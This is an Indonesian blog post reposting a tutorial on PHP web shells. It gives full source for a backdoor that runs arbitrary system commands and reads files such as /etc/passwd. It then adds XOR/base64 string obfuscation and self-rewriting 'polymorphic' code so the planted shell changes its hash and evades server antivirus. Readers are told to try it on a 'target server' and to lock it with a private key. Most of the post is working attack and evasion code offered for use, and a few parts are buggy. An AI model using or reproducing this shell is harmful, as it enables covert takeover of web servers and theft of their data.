Saya masih bingung tentang PHP SHELL itu. saya menemukan artike dari sebuah blog yang kurang lebih seperti ini.
PHP SHELL ialah sebuah injection script  di server website yang berguna untuk mendapatkan akses shell. Dengan  sebuah shell kita bisa mendapatkan akses File I/O, database, atau bahkan  sistem layaknya seperti hak seorang admin dalam mengelola websitenya.  Karena begitu berbahayanya sebuah PHP SHELL di server, biasanya para  root mematikan fungsi – fungsi penting PHP yang memiliki fungsi bumerang  bagi servernya, seperti fungsi system(). Bahkan antivirus khusus server  web pun menjadikan PHP SHELL sebagai target operasi utamanya, selain  berbagai macam rootkit backdoor yang lainnya.
Pada umumnya root menggunakan antivirus  untuk menscan sistem dan mencari berbagai file yang memiliki hash MD5  berbahaya. Hash MD5 layaknya sebuah sidik jari pada sebuah file. Setiap  konten file yang berbeda akan selalu memiliki hash MD5 yang berbeda.  Oleh karena itu bisa dibayangkan jika sample PHP SHELL milik anda sudah  dimiliki seorang root, maka dia dapat dengan mudah mencari seluruh PHP  SHELL yang sudah ditanam diserver dan segera menghapus -bahkan  membloknya dari white list running process. Semua ini dilakukan hanya  dengan bermodalkan sidik jari PHP SHELL kita. Menyebalkan bukan.
Lalu bagaimanakah caranya agar sebuah  script (apapun itu, tidak hanya PHP SHELL saja) bisa bertahan lebih lama  di server target? Bagaimana caranya agar contoh PHP SHELL milik kita  yang telah dimiliki admin tidak bisa digunakan dengan mudah untuk  mencari lokasi script – script tersebut ditanam?
Polymorphic jawabannya.
Polymorphic code adalah sebuah teknik  mutasi kode yang dilakukan oleh kode itu sendiri dan berfungsi untuk  menyamarkan diri dengan selalu mengubah konten kode yang secara otomatis  juga mengubah sidik jari / HASH dari kode tersebut.
Misalnya mini php shell (shell.php) seperti ini :<?
$shell_cmd = $_REQUEST['cmd'];
$shell_file = $_REQUEST['file'];
if ($shell_cmd == ‘about’) { echo ‘PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0′; }
elseif ($shell_cmd == ‘readfile’) { echo file_get_contents($shell_file); }
elseif ($shell_cmd == ‘phpinfo’) { phpinfo(); }
else { system($shell_cmd); }
?>
Keterangan fungsinya :
/shell.php?cmd=about
> memunculkan versi php shell (biasanya utk kepentingan update otomatis)
/shell.php?cmd=readfile&file=/etc/passwd
> membaca isi file /etc/passwd di server
/shell.php?cmd=phpinfo
> menampilkan PHPINFO() yang merisikan informasi detil tentang PHP dan server web
/shell.php?cmd=ls -all
> melisting isi work direktori di server
Secara struktur kode, script di atas memiliki 6 string dan 2 nama variabel :
String Array : (‘cmd’, ‘file’, ‘about’, ‘PHP SHELL BUATAN JUDOTENSLAB\nVersi 1.0.0′, ‘readfile’, ‘phpinfo’)
Nama Variable : $shell_cmd dan $shell_file (variabel dengan prefix awalan $shell_ )
Pada kedua kunci utama inilah kita perlu enkripsi dan mutasi kode.
Mengapa? Karena biasanya sebuah string  maupun nama variable lebih gampang dicari menggunakan teknik pendekatan  konten oleh antivirus. Sehingga tugas kita meminimalisasi hasik  pencarian dengan teknik seperti ini dengan cara mengenkripsi dan  memutasikan kodenya.
Berikut adalah kode encrypt/decrypt string sederhana :
function shell_en($str){global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}
function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = ”;
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}
Dan berikut kode polymorphic sederhana yg dibuat berdasarkan struktur kode php shell di atas :
function polymorphic() {global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace(“shell_path”,”refresh”,$shell_tmp);
$shell_tmp = str_replace($shell_morphic, “sess”.$shell_sess.”_”, $shell_tmc);
$shell_tmp = str_replace(“refresh”,”shell_path”,$shell_tmp);
$fh = fopen($shell_path, ‘w’) or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}
Langkah – langkah pembentukan kode :
1. Tentukan key untuk enkripsi anda dan simpan di variabel $shell_key, misalnya :
$shell_key = ‘rahasia’;2. Enkripsi seluruh string utama yang  anda gunakan di kode dengan memanggil fungsi shell_en(‘stringanda’),  misal hasilnya seperti ini :
$shell_string =  array(‘xN/F’,'x9vNzQ==’,'wtTQ3dU=’,'sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=’,’09fCzMfc1cY=’,’0drR0c/Z2A==’);3. Tentukan string yang selalu acak untuk memutasi kode dan simpan di variabel $shell_sess, misalnya :
$shell_sess = $_SERVER['REQUEST_TIME']; // mendapatkan string acak dari waktu request httpBerikut kode utuh setelah shell.php yang sudah bubuhkan fungsi enkripsi dan polymorphic:
<?error_reporting(0); // mematikan error notification di kode PHP
$shell_morphic = ‘shell_’;
$shell_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$shell_key = ‘rahasia’;
$shell_sess = $_SERVER['REQUEST_TIME'];
$shell_string = array(‘xN/F’,'x9vNzQ==’,'wtTQ3dU=’,'sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=’,’09fCzMfc1cY=’,’0drR0c/Z2A==’);
$shell_cmd = $_REQUEST[shell_de($shell_string[0])]; // mengambil request field cmd
$shell_file = $_REQUEST[shell_de($shell_string[1])]; // mengambil request field file
if ($shell_cmd == shell_de($shell_string[2])) { echo shell_de($shell_string[3]); }
elseif ($shell_cmd == shell_de($shell_string[4])) { echo file_get_contents($shell_file); }
elseif ($shell_cmd == shell_de($shell_string[5])) { phpinfo(); }
else { system($shell_cmd); }
function shell_en($str){
global $shell_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}
function shell_de($str){
global $shell_key;
$str = base64_decode($str);
$result = ”;
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($shell_key, ($i % strlen($shell_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}
function polymorphic() {
global $shell_path, $shell_sess, $shell_morphic;
$shell_tmp = file_get_contents($shell_path);
$shell_tmc = str_replace(“shell_path”,”shell_path”,$shell_tmp);
$shell_tmp = str_replace($shell_morphic, “sess”.$shell_sess.”_”, $shell_tmc);
$shell_tmp = str_replace(“shell_path”,”shell_path”,$shell_tmp);
$fh = fopen($shell_path, ‘w’) or die(core_de($shell_string[6]));
fwrite($fh, $shell_tmp);
fclose($fh);
}
polymorphic();
?>
Sekarang silahkan coba script tersebut di server target anda, dan coba perbedaannya dengan ketika kode setelah dieksekusi :
<?error_reporting(0); // mematikan error notification di kode PHP
$sess1242301251_morphic = ‘sess1242301251_’;
$sess1242301251_path = $_SERVER['SCRIPT_FILENAME']; // mendapatkan nama file
$sess1242301251_key = ‘rahasia’;
$sess1242301251_sess = $_SERVER['REQUEST_TIME'];
$sess1242301251_string = array(‘xN/F’,'x9vNzQ==’,'wtTQ3dU=’,'sbqxiLS7rq2+gaq2tL2iwIGytre4tbevu620q73gt83T5tKBo4+Yj6M=’,’09fCzMfc1cY=’,’0drR0c/Z2A==’);
$sess1242301251_cmd = $_REQUEST[sess1242301251_de($sess1242301251_string[0])]; // mengambil request field cmd
$sess1242301251_file = $_REQUEST[sess1242301251_de($sess1242301251_string[1])]; // mengambil request field file
if ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[2])) { echo sess1242301251_de($sess1242301251_string[3]); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[4])) { echo file_get_contents($sess1242301251_file); }
elseif ($sess1242301251_cmd == sess1242301251_de($sess1242301251_string[5])) { phpinfo(); }
else { system($sess1242301251_cmd); }
function sess1242301251_en($str){
global $sess1242301251_key;
for($i=0; $i<strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}
function sess1242301251_de($str){
global $sess1242301251_key;
$str = base64_decode($str);
$result = ”;
for($i=0; $i< strlen($str); $i++) {
$char = substr($str, $i, 1);
$keychar = substr($sess1242301251_key, ($i % strlen($sess1242301251_key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}
function polymorphic() {
global $sess1242301251_path, $sess1242301251_sess, $sess1242301251_morphic;
$sess1242301251_tmp = file_get_contents($sess1242301251_path);
$sess1242301251_tmc = str_replace(“sess1242301251_path”,”sess1242301251_path”,$sess1242301251_tmp);
$sess1242301251_tmp = str_replace($sess1242301251_morphic, “sess”.$sess1242301251_sess.”_”, $sess1242301251_tmc);
$sess1242301251_tmp = str_replace(“sess1242301251_path”,”sess1242301251_path”,$sess1242301251_tmp);
$fh = fopen($sess1242301251_path, ‘w’) or die(core_de($sess1242301251_string[6]));
fwrite($fh, $sess1242301251_tmp);
fclose($fh);
}
polymorphic();
?>
Sudah berubah bukan? Dan struktur kode ini akan selalu berubah ketika kode tersebut dipanggil. Yap, kini anda telah memiliki polymorphic php shell sendiri!
Jika anda ingin PHP SHELL ini lebih privat, maka tentukan $shell_key pribadi anda dan enkripsi seluruh string tadi dengan $shell_key anda. Setelah itu gantilah baris
$shell_key = ‘rahasia’; menjadi $shell_key = $_REQUEST['key'];
Dengan begitu, maka setiap pemanggilan  shell harus menyertakan key enkripsi anda dalam field request, jika  keynya tidak sah maka php shell pun tidak akan berfungsi karena proses  dekripsinya gagal.
Contoh pemanggilan privat php shellnya :
/shell.php?key=rahasia&cmd=aboutCoba anda bandingkan dengan pemanggilan biasa seperti ini :
/shell.php?cmd=about
Semoga artikel ini cukup bermanfaat untuk anda yang sedang mencari referensi tentang PHP SHELL, maupun teknik POLYMORPHIC.












 
 
0 comments:
Posting Komentar
Terima kasih telah mengunjungi Blog ini. Kritik dan saran sangat dibutuhkan bagi Saya untuk memperbaikinya.